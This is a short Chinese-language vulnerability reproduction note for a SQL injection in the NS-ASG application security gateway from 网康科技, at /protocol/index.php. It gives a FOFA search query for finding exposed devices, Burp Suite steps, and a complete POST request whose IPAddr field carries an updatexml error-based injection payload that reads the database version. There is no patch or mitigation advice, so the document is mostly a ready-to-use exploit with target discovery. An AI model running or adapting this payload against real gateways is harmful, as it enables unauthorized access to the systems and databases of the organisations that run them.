# 网康NS-ASG应用安全网关index.php sql注入漏洞

### 一、漏洞简介

网康科技的NS-ASG应用安全网关存在SQL注入.

### 二、漏洞复现

#### 第一步：fofa导出资产

app="网康科技-NS-ASG安全网关"

#### 第二步：访问网站首页拼接访问 /protocol/index.php 路径抓包



#### 第三步：使用burp抓包将数据包发送到Repeater中修改数据包进行测试

POST /protocol/index.php HTTP/1.1  
Host: x.x.x.x  
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0  
Accept: \*/\*  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 263  
  
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}



